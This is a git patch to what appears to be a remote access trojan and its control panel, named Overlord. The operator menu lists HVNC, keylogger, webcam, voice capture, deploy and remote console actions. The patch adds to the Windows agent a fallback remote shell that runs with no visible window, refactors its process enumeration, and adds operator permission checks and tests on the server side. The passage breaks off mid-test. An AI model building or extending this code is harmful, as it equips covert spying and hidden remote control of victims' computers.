From af05a807c6d69a55724b60fb7e68593bdc3787cf Mon Sep 17 00:00:00 2001 From: KingKDot Date: Mon, 18 May 2026 21:34:35 -0500 Subject: [PATCH] RBAC changes + fix rev console and process view in shellcode --- .../cmd/agent/handlers/processes_windows.go | 261 +++++++------- .../cmd/agent/runtime/console_windows.go | 101 +++++- .../public/assets/command-palette.js | 50 ++- Overlord-Server/public/assets/main.js | 31 ++ .../auth-routes.feature-permissions.test.ts | 323 ++++++++++++++++++ .../src/server/routes/auth-routes.ts | 4 +- .../routes/file-download-routes.test.ts | 320 ++++++++++++++++- .../src/server/routes/file-download-routes.ts | 18 +- .../src/users.feature-permissions.test.ts | 249 ++++++++++++++ 9 files changed, 1205 insertions(+), 152 deletions(-) create mode 100644 Overlord-Server/src/server/routes/auth-routes.feature-permissions.test.ts create mode 100644 Overlord-Server/src/users.feature-permissions.test.ts diff --git a/Overlord-Client/cmd/agent/handlers/processes_windows.go b/Overlord-Client/cmd/agent/handlers/processes_windows.go index 1386f55..604db2d 100644 --- a/Overlord-Client/cmd/agent/handlers/processes_windows.go +++ b/Overlord-Client/cmd/agent/handlers/processes_windows.go @@ -80,136 +80,11 @@ func listProcesses() ([]wire.ProcessInfo, error) { continue } - handle, _, _ := procOpenProcess.Call( - windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, - 0, - uintptr(pid), - ) - - if handle == 0 { + info := queryProcess(pid, selfPID, numCPU) + if info == nil { continue } - defer windows.CloseHandle(windows.Handle(handle)) - - var filename [windows.MAX_PATH]uint16 - ret, _, _ := procGetProcessImageFileNameW.Call( - handle, - uintptr(unsafe.Pointer(&filename[0])), - uintptr(len(filename)), - ) - - name := "Unknown" - if ret != 0 { - name = syscall.UTF16ToString(filename[:]) - - for i := len(name) - 1; i >= 0; i-- { - if name[i] == '\\' || name[i] == '/' { - name = name[i+1:] - break - } - } - } - - var memCounters PROCESS_MEMORY_COUNTERS - memCounters.CB = uint32(unsafe.Sizeof(memCounters)) - memory := uint64(0) - - ret, _, _ = procGetProcessMemoryInfo.Call( - handle, - uintptr(unsafe.Pointer(&memCounters)), - uintptr(memCounters.CB), - ) - - if ret != 0 { - memory = uint64(memCounters.WorkingSetSize) - } - - cpu := 0.0 - var creation, exit, kernel, user windows.Filetime - ret, _, _ = procGetProcessTimes.Call( - handle, - uintptr(unsafe.Pointer(&creation)), - uintptr(unsafe.Pointer(&exit)), - uintptr(unsafe.Pointer(&kernel)), - uintptr(unsafe.Pointer(&user)), - ) - if ret != 0 { - cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) + - (uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime)) - now := time.Now() - cpuSamplesMu.Lock() - if prev, ok := cpuSamples[pid]; ok { - wallDelta := now.Sub(prev.sampledAt).Seconds() - if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns { - cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7 - cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0 - if cpu < 0 { - cpu = 0 - } else if cpu > 100 { - cpu = 100 - } - } - } - cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now} - cpuSamplesMu.Unlock() - } - - var pbi windows.PROCESS_BASIC_INFORMATION - ppid := int32(0) - err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil) - if err == nil { - ppid = int32(pbi.InheritedFromUniqueProcessId) - } - - username := "System" - var token windows.Token - if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil { - defer token.Close() - tokenUser, err := token.GetTokenUser() - if err == nil { - account, domain, _, err := tokenUser.User.Sid.LookupAccount("") - if err == nil { - if domain != "" { - username = domain + "\\" + account - } else { - username = account - } - } - } - } - - procType := "other" - usernameLower := strings.ToLower(username) - nameLower := strings.ToLower(name) - - if pid <= 4 || nameLower == "system" || nameLower == "registry" { - procType = "system" - } else if strings.Contains(usernameLower, "system") || - strings.Contains(usernameLower, "local service") || - strings.Contains(usernameLower, "network service") || - usernameLower == "system" { - procType = "service" - } else { - - currentUser, err := windows.GetCurrentProcessToken().GetTokenUser() - if err == nil { - tokenUser, err := token.GetTokenUser() - if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) { - procType = "own" - } - } - } - - processes = append(processes, wire.ProcessInfo{ - PID: pid, - PPID: ppid, - Name: name, - CPU: cpu, - Memory: memory, - Username: username, - Type: procType, - Self: pid == selfPID, - }) + processes = append(processes, *info) } cpuSamplesMu.Lock() @@ -227,6 +102,136 @@ func listProcesses() ([]wire.ProcessInfo, error) { return processes, nil } +func queryProcess(pid, selfPID int32, numCPU int) *wire.ProcessInfo { + handle, _, _ := procOpenProcess.Call( + windows.PROCESS_QUERY_INFORMATION|windows.PROCESS_VM_READ, + 0, + uintptr(pid), + ) + if handle == 0 { + return nil + } + defer windows.CloseHandle(windows.Handle(handle)) + + var filename [windows.MAX_PATH]uint16 + ret, _, _ := procGetProcessImageFileNameW.Call( + handle, + uintptr(unsafe.Pointer(&filename[0])), + uintptr(len(filename)), + ) + + name := "Unknown" + if ret != 0 { + name = syscall.UTF16ToString(filename[:]) + for i := len(name) - 1; i >= 0; i-- { + if name[i] == '\\' || name[i] == '/' { + name = name[i+1:] + break + } + } + } + + var memCounters PROCESS_MEMORY_COUNTERS + memCounters.CB = uint32(unsafe.Sizeof(memCounters)) + memory := uint64(0) + + ret, _, _ = procGetProcessMemoryInfo.Call( + handle, + uintptr(unsafe.Pointer(&memCounters)), + uintptr(memCounters.CB), + ) + if ret != 0 { + memory = uint64(memCounters.WorkingSetSize) + } + + cpu := 0.0 + var creation, exit, kernel, user windows.Filetime + ret, _, _ = procGetProcessTimes.Call( + handle, + uintptr(unsafe.Pointer(&creation)), + uintptr(unsafe.Pointer(&exit)), + uintptr(unsafe.Pointer(&kernel)), + uintptr(unsafe.Pointer(&user)), + ) + if ret != 0 { + cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) + + (uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime)) + now := time.Now() + cpuSamplesMu.Lock() + if prev, ok := cpuSamples[pid]; ok { + wallDelta := now.Sub(prev.sampledAt).Seconds() + if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns { + cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7 + cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0 + if cpu < 0 { + cpu = 0 + } else if cpu > 100 { + cpu = 100 + } + } + } + cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now} + cpuSamplesMu.Unlock() + } + + var pbi windows.PROCESS_BASIC_INFORMATION + ppid := int32(0) + if err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil); err == nil { + ppid = int32(pbi.InheritedFromUniqueProcessId) + } + + username := "System" + var token windows.Token + tokenOpen := false + if err := windows.OpenProcessToken(windows.Handle(handle), windows.TOKEN_QUERY, &token); err == nil { + tokenOpen = true + defer token.Close() + tokenUser, err := token.GetTokenUser() + if err == nil { + account, domain, _, err := tokenUser.User.Sid.LookupAccount("") + if err == nil { + if domain != "" { + username = domain + "\\" + account + } else { + username = account + } + } + } + } + + procType := "other" + usernameLower := strings.ToLower(username) + nameLower := strings.ToLower(name) + + if pid <= 4 || nameLower == "system" || nameLower == "registry" { + procType = "system" + } else if strings.Contains(usernameLower, "system") || + strings.Contains(usernameLower, "local service") || + strings.Contains(usernameLower, "network service") || + usernameLower == "system" { + procType = "service" + } else if tokenOpen { + currentUser, err := windows.GetCurrentProcessToken().GetTokenUser() + if err == nil { + tokenUser, err := token.GetTokenUser() + if err == nil && tokenUser.User.Sid.Equals(currentUser.User.Sid) { + procType = "own" + } + } + } + + return &wire.ProcessInfo{ + PID: pid, + PPID: ppid, + Name: name, + CPU: cpu, + Memory: memory, + Username: username, + Type: procType, + Self: pid == selfPID, + } +} + func killProcess(pid int32) error { handle, err := windows.OpenProcess(windows.PROCESS_TERMINATE, false, uint32(pid)) if err != nil { diff --git a/Overlord-Client/cmd/agent/runtime/console_windows.go b/Overlord-Client/cmd/agent/runtime/console_windows.go index 97a1663..1e718db 100644 --- a/Overlord-Client/cmd/agent/runtime/console_windows.go +++ b/Overlord-Client/cmd/agent/runtime/console_windows.go @@ -4,9 +4,16 @@ package runtime import ( "context" + "io" + "log" + "os" + "os/exec" "strings" + "sync" + "syscall" "github.com/UserExistsError/conpty" + "golang.org/x/sys/windows" ) type winPty struct { @@ -32,18 +39,98 @@ func (w *winPty) Wait() (int, error) { return res.code, res.err } -func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) { - cmdline := strings.Join(shell, " ") +type rawShell struct { + cmd *exec.Cmd + stdin io.WriteCloser + reader io.ReadCloser + writer *os.File + once sync.Once + waitCh chan waitResult +} - cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows))) +func (r *rawShell) Read(p []byte) (int, error) { return r.reader.Read(p) } +func (r *rawShell) Write(p []byte) (int, error) { return r.stdin.Write(p) } + +func (r *rawShell) Close() error { + r.once.Do(func() { + r.stdin.Close() + r.cmd.Process.Kill() + r.writer.Close() + r.reader.Close() + }) + return nil +} + +func (r *rawShell) Resize(cols, rows uint16) error { return nil } + +func (r *rawShell) Wait() (int, error) { + res := <-r.waitCh + return res.code, res.err +} + +func startRawShell(shell []string) (ptyHandle, error) { + cmd := exec.Command(shell[0], shell[1:]...) + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW, + } + + stdin, err := cmd.StdinPipe() if err != nil { return nil, err } - w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)} + pr, pw, err := os.Pipe() + if err != nil { + stdin.Close() + return nil, err + } + cmd.Stdout = pw + cmd.Stderr = pw + + if err := cmd.Start(); err != nil { + stdin.Close() + pr.Close() + pw.Close() + return nil, err + } + + rs := &rawShell{ + cmd: cmd, + stdin: stdin, + reader: pr, + writer: pw, + waitCh: make(chan waitResult, 1), + } go func() { - code, werr := cp.Wait(context.Background()) - w.waitCh <- waitResult{code: int(code), err: werr} + werr := cmd.Wait() + pw.Close() + code := 0 + if werr != nil { + if exit, ok := werr.(*exec.ExitError); ok { + code = exit.ExitCode() + } else { + code = 1 + } + } + rs.waitCh <- waitResult{code: code, err: werr} }() - return w, nil + return rs, nil +} + +func startPty(ctx context.Context, shell []string, cols, rows uint16) (ptyHandle, error) { + cmdline := strings.Join(shell, " ") + + cp, err := conpty.Start(cmdline, conpty.ConPtyDimensions(int(cols), int(rows))) + if err == nil { + w := &winPty{cp: cp, waitCh: make(chan waitResult, 1)} + go func() { + code, werr := cp.Wait(context.Background()) + w.waitCh <- waitResult{code: int(code), err: werr} + }() + return w, nil + } + + log.Printf("console: conpty failed (%v), falling back to raw shell", err) + return startRawShell(shell) } diff --git a/Overlord-Server/public/assets/command-palette.js b/Overlord-Server/public/assets/command-palette.js index 0fdb7ca..f3d0781 100644 --- a/Overlord-Server/public/assets/command-palette.js +++ b/Overlord-Server/public/assets/command-palette.js @@ -1,19 +1,40 @@ import { NAV_GROUPS } from "./nav/template.js"; import { CAPTURE_FLAG } from "./keyboard-capture.js"; -const PER_CLIENT_ACTIONS = [ - { key: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` }, - { key: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` }, - { key: "rdp", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` }, - { key: "files", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` }, - { key: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` }, - { key: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` }, - { key: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` }, - { key: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` }, - { key: "deploy", label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` }, - { key: "winre", label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` }, +const ALL_PER_CLIENT_ACTIONS = [ + { key: "console", feature: "console", label: "Console", icon: "fa-terminal", color: "text-emerald-400", href: (id) => `/${id}/console` }, + { key: "hvnc", feature: "hvnc", label: "HVNC", icon: "fa-desktop", color: "text-fuchsia-400", href: (id) => `/hvnc?clientId=${id}` }, + { key: "rdp", feature: "remote_desktop", label: "Remote Desktop", icon: "fa-display", color: "text-sky-400", href: (id) => `/remotedesktop?clientId=${id}` }, + { key: "files", feature: "file_browser", label: "File Browser", icon: "fa-folder-open", color: "text-cyan-400", href: (id) => `/${id}/files` }, + { key: "processes", feature: "processes", label: "Processes", icon: "fa-microchip", color: "text-orange-400", href: (id) => `/${id}/processes` }, + { key: "keylogger", feature: "keylogger", label: "Keylogger", icon: "fa-keyboard", color: "text-yellow-400", href: (id) => `/${id}/keylogger` }, + { key: "webcam", feature: "webcam", label: "Webcam", icon: "fa-camera", color: "text-pink-400", href: (id) => `/webcam?clientId=${id}` }, + { key: "voice", feature: "voice", label: "Voice", icon: "fa-microphone", color: "text-indigo-400", href: (id) => `/voice?clientId=${id}` }, + { key: "deploy", feature: null, label: "Deploy", icon: "fa-rocket", color: "text-rose-400", href: (id) => `/deploy?clientId=${id}` }, + { key: "winre", feature: null, label: "WinRE", icon: "fa-shield-halved",color: "text-amber-400", href: (id) => `/winre?clientId=${id}` }, ]; +let featurePermsCache = null; + +async function loadFeaturePerms() { + if (featurePermsCache) return featurePermsCache; + try { + const res = await fetch("/api/auth/me", { credentials: "include" }); + if (!res.ok) return null; + const data = await res.json(); + featurePermsCache = data?.featurePermissions || null; + return featurePermsCache; + } catch { + return null; + } +} + +function PER_CLIENT_ACTIONS() { + const perms = featurePermsCache; + if (!perms) return ALL_PER_CLIENT_ACTIONS; + return ALL_PER_CLIENT_ACTIONS.filter((a) => !a.feature || perms[a.feature] !== false); +} + const RECENT_KEY = "cmdp_recent_v1"; const RECENT_MAX = 8; @@ -121,7 +142,7 @@ function buildResults(query, pages, clients) { } } - for (const a of PER_CLIENT_ACTIONS) { + for (const a of PER_CLIENT_ACTIONS()) { const sc = score(query, a.label); if (sc > 0) results.push({ kind: "action", action: a, _score: sc }); } @@ -309,7 +330,7 @@ function activate(idx, newTab) { if (r.kind === "client") { state.mode = "actions-for-client"; state.pendingClient = r.client; - state.results = PER_CLIENT_ACTIONS.map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); + state.results = PER_CLIENT_ACTIONS().map((a) => ({ kind: "client-action", client: r.client, action: a, _score: 0 })); state.active = 0; const input = document.getElementById("cmdp-input"); if (input) { input.value = ""; input.placeholder = `Action on ${clientLabel(r.client)}…`; input.focus(); } @@ -334,6 +355,7 @@ async function open() { state.query = ""; state.mode = "main"; state.pendingAction = null; + await loadFeaturePerms(); const root = mountPalette(); if (!root) return; const input = document.getElementById("cmdp-input"); @@ -347,7 +369,7 @@ async function open() { if (state.mode === "actions-for-client" && state.pendingClient) { const q = state.query.toLowerCase(); const c = state.pendingClient; - state.results = PER_CLIENT_ACTIONS + state.results = PER_CLIENT_ACTIONS() .map((a) => ({ a, sc: score(q, a.label) })) .filter((x) => x.sc > 0 || !q) .sort((a, b) => b.sc - a.sc) diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js index 3f8550e..90118de 100644 --- a/Overlord-Server/public/assets/main.js +++ b/Overlord-Server/public/assets/main.js @@ -274,6 +274,37 @@ function applyMenuSupportRules(clientId) { ["ping", "reconnect", "disconnect", "uninstall"].forEach(action => { setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline"); }); + + applyFeaturePermissionRules(); +} + +const MENU_OPEN_TO_FEATURE = { + console: "console", + remotedesktop: "remote_desktop", + Backstage: "hvnc", + webcam: "webcam", + files: "file_browser", + processes: "processes", + keylogger: "keylogger", + voice: "voice", +}; + +function applyFeaturePermissionRules() { + const perms = currentUser?.featurePermissions; + if (!perms) return; + + for (const [openKey, feature] of Object.entries(MENU_OPEN_TO_FEATURE)) { + const btn = menu.querySelector(`[data-open="${openKey}"]`); + if (!btn) continue; + if (perms[feature] === false) { + btn.disabled = true; + btn.setAttribute("aria-disabled", "true"); + btn.classList.add("opacity-50", "cursor-not-allowed"); + btn.classList.remove("hover:bg-slate-700"); + btn.classList.add("hover:bg-slate-800/50"); + btn.title = "Feature access disabled by administrator"; + } + } } async function loadCurrentUser() { diff --git a/Overlord-Server/src/server/routes/auth-routes.feature-permissions.test.ts b/Overlord-Server/src/server/routes/auth-routes.feature-permissions.test.ts new file mode 100644 index 0000000..cd0e968 --- /dev/null +++ b/Overlord-Server/src/server/routes/auth-routes.feature-permissions.test.ts @@ -0,0 +1,323 @@ +import { describe, expect, test } from "bun:test"; +import { generateToken } from "../../auth"; +import { + ALL_FEATURES, + createUser, + deleteUser, + getUserById, + setUserClientAccessScope, + setUserFeaturePermission, +} from "../../users"; +import { handleAuthRoutes } from "./auth-routes"; + +const PASSWORD = "Aa1!AuthRoutesFeaturePermsTest_2026"; + +const mockServer = { + requestIP: () => ({ address: "127.0.0.1" }), +}; + +async function createTokenFor(role: "admin" | "operator" | "viewer") { + const username = `me_${role.slice(0, 3)}_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`; + const created = await createUser(username, PASSWORD, role, "test"); + expect(created.success).toBe(true); + expect(typeof created.userId).toBe("number"); + const user = getUserById(created.userId!); + expect(user).not.toBeNull(); + const token = await generateToken(user!); + return { userId: created.userId!, token, username, role }; +} + +describe("/api/auth/me featurePermissions", () => { + test("admin gets every feature allowed in /api/auth/me", async () => { + const auth = await createTokenFor("admin"); + try { + const url = new URL("https://localhost/api/auth/me"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + expect(res).not.toBeNull(); + expect(res!.status).toBe(200); + const body = (await res!.json()) as any; + expect(body.username).toBe(auth.username); + expect(body.role).toBe("admin"); + expect(body.featurePermissions).toBeDefined(); + for (const f of ALL_FEATURES) { + expect(body.featurePermissions[f]).toBe(true); + } + } finally { + deleteUser(auth.userId); + } + }); + + test("operator gets every feature allowed by default in /api/auth/me", async () => { + const auth = await createTokenFor("operator"); + try { + const url = new URL("https://localhost/api/auth/me"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.role).toBe("operator"); + for (const f of ALL_FEATURES) { + expect(body.featurePermissions[f]).toBe(true); + } + } finally { + deleteUser(auth.userId); + } + }); + + test("operator-denied features are reflected in /api/auth/me", async () => { + const auth = await createTokenFor("operator"); + try { + setUserFeaturePermission(auth.userId, "webcam", false); + setUserFeaturePermission(auth.userId, "file_browser", false); + + const url = new URL("https://localhost/api/auth/me"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.featurePermissions.webcam).toBe(false); + expect(body.featurePermissions.file_browser).toBe(false); + expect(body.featurePermissions.console).toBe(true); + expect(body.featurePermissions.hvnc).toBe(true); + } finally { + deleteUser(auth.userId); + } + }); + + test("viewer gets every feature denied in /api/auth/me", async () => { + const auth = await createTokenFor("viewer"); + try { + const url = new URL("https://localhost/api/auth/me"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.role).toBe("viewer"); + for (const f of ALL_FEATURES) { + expect(body.featurePermissions[f]).toBe(false); + } + } finally { + deleteUser(auth.userId); + } + }); + + test("/api/auth/me requires authentication", async () => { + const url = new URL("https://localhost/api/auth/me"); + const res = await handleAuthRoutes( + new Request(url, { method: "GET" }), + url, + mockServer, + ); + expect(res).not.toBeNull(); + expect(res!.status).toBe(401); + }); +}); + +describe("/api/auth/feature-check", () => { + test("operator with allowed feature and accessible client returns allowed=true", async () => { + const auth = await createTokenFor("operator"); + try { + setUserClientAccessScope(auth.userId, "all"); + + const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + expect(res!.status).toBe(200); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(true); + } finally { + deleteUser(auth.userId); + } + }); + + test("operator with revoked feature returns allowed=false with reason 'feature'", async () => { + const auth = await createTokenFor("operator"); + try { + setUserClientAccessScope(auth.userId, "all"); + setUserFeaturePermission(auth.userId, "webcam", false); + + const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + expect(res!.status).toBe(200); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(false); + expect(body.denied).toContain("feature"); + expect(body.denied).not.toContain("client"); + } finally { + deleteUser(auth.userId); + } + }); + + test("operator without client access returns allowed=false with reason 'client'", async () => { + const auth = await createTokenFor("operator"); + try { + // default client_scope=none + + const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + expect(res!.status).toBe(200); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(false); + expect(body.denied).toContain("client"); + expect(body.denied).not.toContain("feature"); + } finally { + deleteUser(auth.userId); + } + }); + + test("both feature and client denied returns both reasons", async () => { + const auth = await createTokenFor("operator"); + try { + setUserFeaturePermission(auth.userId, "hvnc", false); + // client_scope stays "none" => no access + + const url = new URL("https://localhost/api/auth/feature-check?feature=hvnc&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(false); + expect(body.denied).toContain("feature"); + expect(body.denied).toContain("client"); + } finally { + deleteUser(auth.userId); + } + }); + + test("viewer is denied every feature", async () => { + const auth = await createTokenFor("viewer"); + try { + const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(false); + expect(body.denied).toContain("feature"); + } finally { + deleteUser(auth.userId); + } + }); + + test("admin is allowed every feature, even with no client_scope", async () => { + const auth = await createTokenFor("admin"); + try { + const url = new URL("https://localhost/api/auth/feature-check?feature=webcam&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(true); + } finally { + deleteUser(auth.userId); + } + }); + + test("invalid feature name returns 400", async () => { + const auth = await createTokenFor("operator"); + try { + const url = new URL("https://localhost/api/auth/feature-check?feature=not_a_feature&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + expect(res!.status).toBe(400); + } finally { + deleteUser(auth.userId); + } + }); + + test("unauthenticated request returns 401", async () => { + const url = new URL("https://localhost/api/auth/feature-check?feature=console&clientId=client-x"); + const res = await handleAuthRoutes( + new Request(url, { method: "GET" }), + url, + mockServer, + ); + expect(res).not.toBeNull(); + expect(res!.status).toBe(401); + }); + + test("clientId is optional — feature-only check works without clientId", async () => { + const auth = await createTokenFor("operator"); + try { + setUserFeaturePermission(auth.userId, "webcam", false); + + const url = new URL("https://localhost/api/auth/feature-check?feature=webcam"); + const res = await handleAuthRoutes( + new Request(url, { + method: "GET", + headers: { Authorization: `Bearer ${auth.token}` }, + }), + url, + mockServer, + ); + const body = (await res!.json()) as any; + expect(body.allowed).toBe(false); + expect(body.denied).toEqual(["feature"]); + } finally { + deleteUser(auth.userId); + } + }); +}); diff --git a/Overlord-Server/src/server/routes/auth-routes.ts b/Overlord-Server/src/server/routes/auth-routes.ts index d745abc..c0921d6 100644 --- a/Overlord-Server/src/server/routes/auth-routes.ts +++ b/Overlord-Server/src/server/routes/auth-routes.ts @@ -23,7 +23,7 @@ import { recordFailedAttempt, recordSuccessfulAttempt, } from "../../rateLimit"; -import { getUserById, canUserAccessClient, canUserAccessFeature, type FeatureName, ALL_FEATURES } from "../../users"; +import { getUserById, canUserAccessClient, canUserAccessFeature, getUserFeaturePermissions, type FeatureName, ALL_FEATURES } from "../../users"; import { makeAuthCookie, makeAuthCookieClear } from "./auth-cookie"; type RequestIpProvider = { @@ -340,6 +340,7 @@ export async function handleAuthRoutes( } const dbUser = getUserById(user.userId); + const featurePermissions = getUserFeaturePermissions(user.userId); return new Response( JSON.stringify({ @@ -349,6 +350,7 @@ export async function handleAuthRoutes( mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false, canBuild: dbUser ? Boolean(dbUser.can_build) : false, telegramChatId: dbUser?.telegram_chat_id || "", + featurePermissions, }), { headers: { "Content-Type": "application/json" }, diff --git a/Overlord-Server/src/server/routes/file-download-routes.test.ts b/Overlord-Server/src/server/routes/file-download-routes.test.ts index c371b0e..a490674 100644 --- a/Overlord-Server/src/server/routes/file-download-routes.test.ts +++ b/Overlord-Server/src/server/routes/file-download-routes.test.ts @@ -4,7 +4,13 @@ import { join } from "path"; import { tmpdir } from "os"; import { generateToken } from "../../auth"; import * as clientManager from "../../clientManager"; -import { createUser, deleteUser, getUserById } from "../../users"; +import { + createUser, + deleteUser, + getUserById, + setUserClientAccessScope, + setUserFeaturePermission, +} from "../../users"; import { handleFileDownloadRoutes } from "./file-download-routes"; const PASSWORD = "Aa1!RouteUploadTestPass123"; @@ -249,3 +255,315 @@ describe("file upload route flow", () => { } }); }); + +async function createOperatorToken(opts: { fileBrowserAllowed: boolean; clientScope?: "none" | "all" } = { fileBrowserAllowed: true, clientScope: "all" }) { + const username = `op_${Date.now().toString(36)}_${Math.floor(Math.random() * 1e6).toString(36)}`; + const created = await createUser(username, PASSWORD, "operator", "test"); + expect(created.success).toBe(true); + expect(typeof created.userId).toBe("number"); + + const userId = created.userId!; + setUserClientAccessScope(userId, opts.clientScope ?? "all"); + setUserFeaturePermission(userId, "file_browser", opts.fileBrowserAllowed); + + const user = getUserById(userId); + expect(user).not.toBeNull(); + + const token = await generateToken(user!); + return { userId, token }; +} + +describe("file route feature_browser enforcement", () => { + test("upload request returns 403 when file_browser is denied", async () => { + const auth = await createOperatorToken({ fileBrowserAllowed: false }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/upload/request"); + const res = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\Games\\big.iso", + fileName: "big.iso", + }), + }), + requestUrl, + mockServer, + deps, + ); + + expect(res).not.toBeNull(); + expect(res!.status).toBe(403); + expect(await res!.text()).toContain("feature access denied"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); + + test("download request returns 403 when file_browser is denied", async () => { + const auth = await createOperatorToken({ fileBrowserAllowed: false }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/download/request"); + const res = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer ${auth.token}`, + }, + body: JSON.stringify({ + clientId, + path: "C:\\secret\\data.bin", + }), + }), + requestUrl, + mockServer, + deps, + ); + + expect(res).not.toBeNull(); + expect(res!.status).toBe(403); + expect(await res!.text()).toContain("feature access denied"); + } finally { + clientManager.deleteClient(clientId); + deleteUser(auth.userId); + await removeTempDataDir(dataDir); + } + }); + + test("client_access check still beats feature check when client access is missing", async () => { + // If both are denied, client access fires first — guards against misordered checks. + const auth = await createOperatorToken({ fileBrowserAllowed: false, clientScope: "none" }); + const clientId = `client-${Date.now().toString(36)}`; + const dataDir = await createTempDataDir(); + const deps = makeRouteDeps(dataDir); + + clientManager.addClient(clientId, { + id: clientId, + lastSeen: Date.now(), + role: "client", + ws: { send: () => {} }, + }); + + try { + const requestUrl = new URL("https://localhost/api/file/upload/request"); + const res = await handleFileDownloadRoutes( + new Request(requestUrl, { + method: "POST", + headers: { + "Content-Type": "application/json", + Authorization: `Bearer 